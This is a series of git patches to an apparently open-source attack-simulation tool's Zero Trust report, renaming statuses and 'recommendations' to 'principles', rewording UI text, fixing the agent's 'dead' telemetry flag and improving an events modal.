Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_PASSED, []) @@ -45,49 +45,49 @@ class TestZeroTrustService(IslandTestCase): expected = [ { STATUS_FAILED: 5, - STATUS_INCONCLUSIVE: 2, + STATUS_VERIFY: 2, STATUS_PASSED: 1, STATUS_UNEXECUTED: 1, "pillar": "Data" }, { STATUS_FAILED: 0, - STATUS_INCONCLUSIVE: 2, + STATUS_VERIFY: 2, STATUS_PASSED: 0, STATUS_UNEXECUTED: 0, "pillar": "People" }, { STATUS_FAILED: 0, - STATUS_INCONCLUSIVE: 2, + STATUS_VERIFY: 2, STATUS_PASSED: 0, STATUS_UNEXECUTED: 2, "pillar": "Networks" }, { STATUS_FAILED: 1, - STATUS_INCONCLUSIVE: 0, + STATUS_VERIFY: 0, STATUS_PASSED: 2, STATUS_UNEXECUTED: 1, "pillar": "Devices" }, { STATUS_FAILED: 0, - STATUS_INCONCLUSIVE: 0, + STATUS_VERIFY: 0, STATUS_PASSED: 0, STATUS_UNEXECUTED: 0, "pillar": "Workloads" }, { STATUS_FAILED: 0, - STATUS_INCONCLUSIVE: 0, + STATUS_VERIFY: 0, STATUS_PASSED: 0, STATUS_UNEXECUTED: 1, "pillar": "Visibility & Analytics" }, { STATUS_FAILED: 0, - STATUS_INCONCLUSIVE: 0, + STATUS_VERIFY: 0, STATUS_PASSED: 0, STATUS_UNEXECUTED: 0, "pillar": "Automation & Orchestration" @@ -98,7 +98,7 @@ class TestZeroTrustService(IslandTestCase): self.assertEquals(result, expected) - def test_get_recommendations_status(self): + def test_get_principles_status(self): self.fail_if_not_testing_env() self.clean_finding_db() @@ -108,7 +108,7 @@ class TestZeroTrustService(IslandTestCase): AUTOMATION_ORCHESTRATION: [], DATA: [ { - "recommendation": RECOMMENDATIONS[RECOMMENDATION_DATA_TRANSIT], + "principle": PRINCIPLES[PRINCIPLE_DATA_TRANSIT], "status": STATUS_FAILED, "tests": [ { @@ -124,7 +124,7 @@ class TestZeroTrustService(IslandTestCase): ], DEVICES: [ { - "recommendation": RECOMMENDATIONS[RECOMMENDATION_ENDPOINT_SECURITY], + "principle": PRINCIPLES[PRINCIPLE_ENDPOINT_SECURITY], "status": STATUS_FAILED, "tests": [ { @@ -140,7 +140,7 @@ class TestZeroTrustService(IslandTestCase): ], NETWORKS: [ { - "recommendation": RECOMMENDATIONS[RECOMMENDATION_SEGMENTATION], + "principle": PRINCIPLES[PRINCIPLE_SEGMENTATION], "status": STATUS_UNEXECUTED, "tests": [ { @@ -150,17 +150,17 @@ class TestZeroTrustService(IslandTestCase): ] }, { - "recommendation": RECOMMENDATIONS[RECOMMENDATION_USER_BEHAVIOUR], - "status": STATUS_INCONCLUSIVE, + "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR], + "status": STATUS_VERIFY, "tests": [ { - "status": STATUS_INCONCLUSIVE, + "status": STATUS_VERIFY, "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY] } ] }, { - "recommendation": RECOMMENDATIONS[RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC], + "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], "status": STATUS_UNEXECUTED, "tests": [ { @@ -172,11 +172,11 @@ class TestZeroTrustService(IslandTestCase): ], PEOPLE: [ { - "recommendation": RECOMMENDATIONS[RECOMMENDATION_USER_BEHAVIOUR], - "status": STATUS_INCONCLUSIVE, + "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR], + "status": STATUS_VERIFY, "tests": [ { - "status": STATUS_INCONCLUSIVE, + "status": STATUS_VERIFY, "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY] } ] @@ -184,7 +184,7 @@ class TestZeroTrustService(IslandTestCase): ], "Visibility & Analytics": [ { - "recommendation": RECOMMENDATIONS[RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC], + "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], "status": STATUS_UNEXECUTED, "tests": [ { @@ -197,7 +197,7 @@ class TestZeroTrustService(IslandTestCase): "Workloads": [] } - self.assertEquals(ZeroTrustService.get_recommendations_status(), expected) + self.assertEquals(ZeroTrustService.get_principles_status(), expected) def test_get_pillars_to_statuses(self): self.fail_if_not_testing_env() @@ -222,8 +222,8 @@ class TestZeroTrustService(IslandTestCase): expected = { AUTOMATION_ORCHESTRATION: STATUS_UNEXECUTED, DEVICES: STATUS_FAILED, - NETWORKS: STATUS_INCONCLUSIVE, - PEOPLE: STATUS_INCONCLUSIVE, + NETWORKS: STATUS_VERIFY, + PEOPLE: STATUS_VERIFY, VISIBILITY_ANALYTICS: STATUS_UNEXECUTED, WORKLOADS: STATUS_UNEXECUTED, DATA: STATUS_FAILED diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py index d8f6c87e9..f4b23f095 100644 --- a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py @@ -17,7 +17,7 @@ class ZeroTrustService(object): pillar_grade = { "pillar": pillar, STATUS_FAILED: 0, - STATUS_INCONCLUSIVE: 0, + STATUS_VERIFY: 0, STATUS_PASSED: 0, STATUS_UNEXECUTED: 0 } @@ -39,30 +39,30 @@ class ZeroTrustService(object): return pillar_grade @staticmethod - def get_recommendations_status(): - all_recommendations_statuses = {} + def get_principles_status(): + all_principles_statuses = {} # init with empty lists for pillar in PILLARS: - all_recommendations_statuses[pillar] = [] + all_principles_statuses[pillar] = [] - for recommendation, recommendation_tests in RECOMMENDATIONS_TO_TESTS.items(): - for pillar in RECOMMENDATIONS_TO_PILLARS[recommendation]: - all_recommendations_statuses[pillar].append( + for principle, principle_tests in PRINCIPLES_TO_TESTS.items(): + for pillar in PRINCIPLES_TO_PILLARS[principle]: + all_principles_statuses[pillar].append( { - "recommendation": RECOMMENDATIONS[recommendation], - "tests": ZeroTrustService.__get_tests_status(recommendation_tests), - "status": ZeroTrustService.__get_recommendation_status(recommendation_tests) + "principle": PRINCIPLES[principle], + "tests": ZeroTrustService.__get_tests_status(principle_tests), + "status": ZeroTrustService.__get_principle_status(principle_tests) } ) - return all_recommendations_statuses + return all_principles_statuses @staticmethod - def __get_recommendation_status(recommendation_tests): + def __get_principle_status(principle_tests): worst_status = STATUS_UNEXECUTED all_statuses = set() - for test in recommendation_tests: + for test in principle_tests: all_statuses |= set(Finding.objects(test=test).distinct("status")) for status in all_statuses: @@ -72,9 +72,9 @@ class ZeroTrustService(object): return worst_status @staticmethod - def __get_tests_status(recommendation_tests): + def __get_tests_status(principle_tests): results = [] - for test in recommendation_tests: + for test in principle_tests: test_findings = Finding.objects(test=test) results.append( { @@ -124,7 +124,7 @@ class ZeroTrustService(object): def get_statuses_to_pillars(): results = { STATUS_FAILED: [], - STATUS_INCONCLUSIVE: [], + STATUS_VERIFY: [], STATUS_PASSED: [], STATUS_UNEXECUTED: [] } diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py index b84dd94c9..7b45b1dee 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py @@ -69,6 +69,6 @@ def test_open_data_endpoints(telemetry_json): AggregateFinding.create_or_add_to_existing( test=TEST_MALICIOUS_ACTIVITY_TIMELINE, - status=STATUS_INCONCLUSIVE, + status=STATUS_VERIFY, events=events ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py index 88661d1aa..8198b5a3e 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -38,6 +38,6 @@ def test_machine_exploited(current_monkey, exploit_successful, exploiter, target AggregateFinding.create_or_add_to_existing( test=TEST_MALICIOUS_ACTIVITY_TIMELINE, - status=STATUS_INCONCLUSIVE, + status=STATUS_VERIFY, events=events ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py index 2c9be5e1f..ba55fc575 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py @@ -1,4 +1,4 @@ -from common.data.zero_trust_consts import TEST_TUNNELING, STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_INCONCLUSIVE, \ +from common.data.zero_trust_consts import TEST_TUNNELING, STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_VERIFY, \ TEST_MALICIOUS_ACTIVITY_TIMELINE from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding @@ -26,6 +26,6 @@ def test_tunneling_violation(tunnel_telemetry_json): AggregateFinding.create_or_add_to_existing( test=TEST_MALICIOUS_ACTIVITY_TIMELINE, - status=STATUS_INCONCLUSIVE, + status=STATUS_VERIFY, events=tunneling_events ) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index c0d1f1bed..a0b92d9bd 100755 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -8,7 +8,7 @@ import PrintReportButton from "../report-components/common/PrintReportButton"; import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus"; import SummarySection from "../report-components/zerotrust/SummarySection"; import FindingsSection from "../report-components/zerotrust/FindingsSection"; -import RecommendationsSection from "../report-components/zerotrust/RecommendationsSection"; +import PrinciplesSection from "../report-components/zerotrust/PrinciplesSection"; class ZeroTrustReportPageComponent extends AuthComponent { @@ -72,8 +72,8 @@ class ZeroTrustReportPageComponent extends AuthComponent { } else { content =
    - +
    ; } @@ -102,7 +102,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { stillLoadingDataFromServer() { return typeof this.state.findings === "undefined" || typeof this.state.pillars === "undefined" - || typeof this.state.recommendations === "undefined"; + || typeof this.state.principles === "undefined"; } getZeroTrustReportFromServer() { @@ -114,11 +114,11 @@ class ZeroTrustReportPageComponent extends AuthComponent { findings: res }); }); - this.authFetch('/api/report/zero_trust/recommendations') + this.authFetch('/api/report/zero_trust/principles') .then(res => res.json()) .then(res => { this.setState({ - recommendations: res + principles: res }); }); this.authFetch('/api/report/zero_trust/pillars') diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js index d86f5cb06..95b9d0389 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js @@ -35,7 +35,7 @@ class FindingsSection extends Component {

    - +
    ); diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js new file mode 100644 index 000000000..44b427c11 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js @@ -0,0 +1,29 @@ +import React, {Component} from "react"; +import SinglePillarPrinciplesStatus from "./SinglePillarPrinciplesStatus"; +import * as PropTypes from "prop-types"; + +export default class PrinciplesSection extends Component { + render() { + return
    +

    Test Results

    +

    + The Zero Trust eXtended (ZTX) framework is composed of 7 pillars. Each pillar is built of + several guiding principles tested by the Infection Monkey. +

    + { + Object.keys(this.props.principles).map((pillar) => + + ) + } +
    + } +} + +PrinciplesSection.propTypes = { + principles: PropTypes.object, + pillarsToStatuses: PropTypes.object +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js similarity index 79% rename from monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js rename to monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js index e1ba3f814..b50ee0c28 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsStatusTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js @@ -16,7 +16,7 @@ const columns = [ }, maxWidth: MAX_WIDTH_STATUS_COLUMN }, - { Header: 'ZT Recommendation', accessor: 'recommendation', + { Header: 'Zero Trust Principle', accessor: 'principle', style: {'whiteSpace': 'unset'} // This enables word wrap }, { Header: 'Monkey Tests', id: 'tests', @@ -34,7 +34,7 @@ class TestsStatus extends AuthComponent { return ( {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.failed)} - {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.inconclusive)} + {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.verify)} {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.passed)} {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.unexecuted)} @@ -60,12 +60,12 @@ class TestsStatus extends AuthComponent { } } -export class RecommendationsStatusTable extends AuthComponent { +export class PrinciplesStatusTable extends AuthComponent { render() { - return ; + return ; } } -export default RecommendationsStatusTable; +export default PrinciplesStatusTable; -RecommendationsStatusTable.propTypes = {recommendationsStatus: PropTypes.array}; +PrinciplesStatusTable.propTypes = {principlesStatus: PropTypes.array}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js deleted file mode 100644 index e83d1c4cc..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/RecommendationsSection.js +++ /dev/null @@ -1,29 +0,0 @@ -import React, {Component} from "react"; -import SinglePillarRecommendationsStatus from "./SinglePillarRecommendationsStatus"; -import * as PropTypes from "prop-types"; - -export default class RecommendationsSection extends Component { - render() { - return
    -

    Recommendations

    -

    - Analyze each zero trust recommendation by pillar, and see if you've followed through with it. See test results - to understand how the monkey tested your adherence to that recommendation. -

    - { - Object.keys(this.props.recommendations).map((pillar) => - - ) - } -
    - } -} - -RecommendationsSection.propTypes = { - recommendations: PropTypes.object, - pillarsToStatuses: PropTypes.object -}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js index 34c18eb26..1881c82d2 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js @@ -36,7 +36,7 @@ class ZeroTrustReportLegend extends Component {
  • - +
    {"\t"}At least one of the tests’ results related to this component requires further manual verification.
  • @@ -50,11 +50,10 @@ class ZeroTrustReportLegend extends Component {
    - {"\t"}This status means the test wasn't executed. + {"\t"}This status means the test wasn't executed.To activate more tests, refer to the Monkey configuration page.
    - To activate more tests, go to the Monkey configuration page.n
    ; } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js similarity index 67% rename from monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js rename to monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js index 1ce02afce..8e4512ac7 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js @@ -1,13 +1,13 @@ import AuthComponent from "../../AuthComponent"; import PillarLabel from "./PillarLabel"; -import RecommendationsStatusTable from "./RecommendationsStatusTable"; +import PrinciplesStatusTable from "./PrinciplesStatusTable"; import React from "react"; import * as PropTypes from "prop-types"; import {Panel} from "react-bootstrap"; -export default class SinglePillarRecommendationsStatus extends AuthComponent { +export default class SinglePillarPrinciplesStatus extends AuthComponent { render() { - if (this.props.recommendationsStatus.length === 0) { + if (this.props.principlesStatus.length === 0) { return null; } else { @@ -22,7 +22,7 @@ export default class SinglePillarRecommendationsStatus extends AuthComponent { - + @@ -31,7 +31,7 @@ export default class SinglePillarRecommendationsStatus extends AuthComponent { } } -SinglePillarRecommendationsStatus.propTypes = { - recommendationsStatus: PropTypes.array, +SinglePillarPrinciplesStatus.propTypes = { + principlesStatus: PropTypes.array, pillar: PropTypes.string, }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js index 12c65b728..028ca7d89 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js @@ -3,14 +3,14 @@ import * as PropTypes from "prop-types"; const statusToIcon = { "Passed": "fa-check", - "Inconclusive": "fa-exclamation-triangle", + "Verify": "fa-exclamation-triangle", "Failed": "fa-bomb", "Unexecuted": "fa-question", }; export const statusToLabelType = { "Passed": "label-success", - "Inconclusive": "label-warning", + "Verify": "label-warning", "Failed": "label-danger", "Unexecuted": "label-default", }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js index 4a597566c..d34a484b9 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js @@ -8,7 +8,7 @@ export default class StatusesToPillarsSummary extends Component { render() { return (
    {this.getStatusSummary(ZeroTrustStatuses.failed)} - {this.getStatusSummary(ZeroTrustStatuses.inconclusive)} + {this.getStatusSummary(ZeroTrustStatuses.verify)} {this.getStatusSummary(ZeroTrustStatuses.passed)} {this.getStatusSummary(ZeroTrustStatuses.unexecuted)}
    ); diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js index 4a56a8b9e..585f22047 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js @@ -14,7 +14,8 @@ export default class SummarySection extends Component {

    - Get a quick glance of the status for each of Zero Trust's seven pillars. + Get a quick glance at how your network aligns with the Zero + Trust eXtended (ZTX) framework.

    @@ -27,20 +28,6 @@ export default class SummarySection extends Component { - -
    -

    What am I seeing?

    -

    - The Zero - Trust eXtended framework categorizes its recommendations into 7 pillars. Infection - Monkey - Zero Trust edition tests some of those recommendations. The tests that the monkey executes - produce findings. The tests, recommendations and pillars are then granted a status in - accordance - with the tests results. -

    - - } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js index 2165916da..dd2a55865 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js @@ -10,7 +10,7 @@ export const ZeroTrustPillars = { export const ZeroTrustStatuses = { failed: "Failed", - inconclusive: "Inconclusive", + verify: "Verify", passed: "Passed", unexecuted: "Unexecuted" }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js index c1d5d2a68..70304daad 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js @@ -78,23 +78,22 @@ class VennDiagram extends React.Component { RULE #1: All scores have to be equal 0, except Unexecuted [U] which could be also a negative integer sum(C, I, P) has to be <=0 - RULE #2: Conclusive [C] has to be > 0, + RULE #2: Failed [C] has to be > 0, sum(C) > 0 - RULE #3: Inconclusive [I] has to be > 0 while Conclusive has to be 0, + RULE #3: Verify [I] has to be > 0 while Failed has to be 0, sum(C, I) > 0 and C * I = 0, while C has to be 0 RULE #4: By process of elimination, passed. if the P is bigger by 2 then negative U, first conditional would be true. - */ this.rules = [ { id: 'Rule #1', status: ZeroTrustStatuses.unexecuted, hex: '#777777', f: function (d_) { - return d_[ZeroTrustStatuses.failed] + d_[ZeroTrustStatuses.inconclusive] + d_[ZeroTrustStatuses.passed] === 0; + return d_[ZeroTrustStatuses.failed] + d_[ZeroTrustStatuses.verify] + d_[ZeroTrustStatuses.passed] === 0; } }, { @@ -103,8 +102,8 @@ class VennDiagram extends React.Component { } }, { - id: 'Rule #3', status: 'Inconclusive', hex: '#F0AD4E', f: function (d_) { - return d_[ZeroTrustStatuses.failed] === 0 && d_[ZeroTrustStatuses.inconclusive] > 0; + id: 'Rule #3', status: ZeroTrustStatuses.verify, hex: '#F0AD4E', f: function (d_) { + return d_[ZeroTrustStatuses.failed] === 0 && d_[ZeroTrustStatuses.verify] > 0; } }, { From 68383f069b51dc2b5dd21d706b22921bf8888fc9 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 10 Sep 2019 23:51:19 +0300 Subject: [PATCH 254/276] Final text changes --- .../report-components/zerotrust/PrinciplesSection.js | 4 +++- .../components/report-components/zerotrust/ReportLegend.js | 3 +-- .../components/report-components/zerotrust/SummarySection.js | 5 +++-- 3 files changed, 7 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js index 44b427c11..bb957d42d 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js @@ -7,7 +7,9 @@ export default class PrinciplesSection extends Component { return

    Test Results

    - The Zero Trust eXtended (ZTX) framework is composed of 7 pillars. Each pillar is built of + The + Zero Trust eXtended (ZTX) framework + is composed of 7 pillars. Each pillar is built of several guiding principles tested by the Infection Monkey.

    { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js index 1881c82d2..5ef75f2b4 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js @@ -44,7 +44,7 @@ class ZeroTrustReportLegend extends Component {
    - {"\t"}The test passed, so this is OK 🙂 + {"\t"}All Tests related to this pillar passed. No violation of a Zero Trust guiding principle was detected.
  • @@ -53,7 +53,6 @@ class ZeroTrustReportLegend extends Component { {"\t"}This status means the test wasn't executed.To activate more tests, refer to the Monkey configuration page.
  • -
    ; } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js index 585f22047..e4012bf50 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js @@ -14,8 +14,9 @@ export default class SummarySection extends Component {

    - Get a quick glance at how your network aligns with the Zero - Trust eXtended (ZTX) framework. + Get a quick glance at how your network aligns with the + Zero Trust eXtended (ZTX) framework + .

    From 650ef121492426aa55d1f36a60562aaccda8e04d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 11 Sep 2019 13:03:12 +0300 Subject: [PATCH 255/276] Bugfix for monkey not reporting being dead --- monkey/infection_monkey/monkey.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 692e278fb..78bdca453 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -225,7 +225,7 @@ class InfectionMonkey(object): InfectionMonkey.close_tunnel() firewall.close() else: - StateTelem(False).send() # Signal the server (before closing the tunnel) + StateTelem(True).send() # Signal the server (before closing the tunnel) InfectionMonkey.close_tunnel() firewall.close() if WormConfiguration.send_log_to_server: From 4d24d8432e23150e48cb50db650512b8c4b99262 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 11 Sep 2019 17:19:23 +0300 Subject: [PATCH 256/276] Improved the Events modal --- monkey/monkey_island/cc/ui/package.json | 3 +- .../zerotrust/EventsButton.js | 9 +---- .../zerotrust/EventsModal.js | 39 +++++++++++-------- .../zerotrust/EventsModalButtons.js | 20 ++++++++++ .../zerotrust/EventsTimeline.js | 3 +- 5 files changed, 47 insertions(+), 27 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 872a22bdc..983366c6e 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -104,6 +104,7 @@ "react-tooltip-lite": "^1.9.1", "redux": "^4.0.0", "sass-loader": "^7.1.0", - "sha3": "^2.0.0" + "sha3": "^2.0.0", + "pluralize": "latest" } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js index ea24e7b1a..761ff94a9 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js @@ -32,13 +32,8 @@ export default class EventsButton extends Component { } createEventsAmountBadge() { - let eventsAmountBadge; - if (this.props.events.length > 9) { - eventsAmountBadge = 9+; - } else { - eventsAmountBadge = {this.props.events.length}; - } - return eventsAmountBadge; + const eventsAmountBadgeContent = this.props.events.length > 9 ? "9+" : this.props.events.length; + return {eventsAmountBadgeContent}; } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js index 2ce25bf20..a7f2fe41c 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js @@ -1,9 +1,11 @@ import React, {Component} from "react"; -import {Modal} from "react-bootstrap"; +import {Badge, Modal} from "react-bootstrap"; import EventsTimeline from "./EventsTimeline"; import * as PropTypes from "prop-types"; -import ExportEventsButton from "./ExportEventsButton"; import saveJsonToFile from "../../utils/SaveJsonToFile"; +import EventsModalButtons from "./EventsModalButtons"; +import Pluralize from 'pluralize' +import {statusToLabelType} from "./StatusLabel"; export default class EventsModal extends Component { constructor(props) { @@ -15,28 +17,31 @@ export default class EventsModal extends Component {
    this.props.hideCallback()}> -

    +

    Events
    -

    - + +
    +

    + There {Pluralize('is', this.props.events.length)} {

    {this.props.events.length}
    } {Pluralize('event', this.props.events.length)} associated with this finding. +

    + {this.props.events.length > 5 ? this.renderButtons() : null} - -
    - - { - const dataToSave = this.props.events; - const filename = this.props.exportFilename; - saveJsonToFile(dataToSave, filename); - }}/> -
    + {this.renderButtons()}
    ); } + + renderButtons() { + return this.props.hideCallback()} + onClickExport={() => { + const dataToSave = this.props.events; + const filename = this.props.exportFilename; + saveJsonToFile(dataToSave, filename); + }}/>; + } } EventsModal.propTypes = { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js new file mode 100644 index 000000000..962c54893 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js @@ -0,0 +1,20 @@ +import React, {Component} from "react"; +import ExportEventsButton from "./ExportEventsButton"; +import * as PropTypes from "prop-types"; + +export default class EventsModalButtons extends Component { + render() { + return
    + + +
    + } +} + +EventsModalButtons.propTypes = { + onClickClose: PropTypes.func, + onClickExport: PropTypes.func +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js index d6723bd4d..b7fb90811 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js @@ -14,7 +14,7 @@ export default class EventsTimeline extends Component { render() { return (
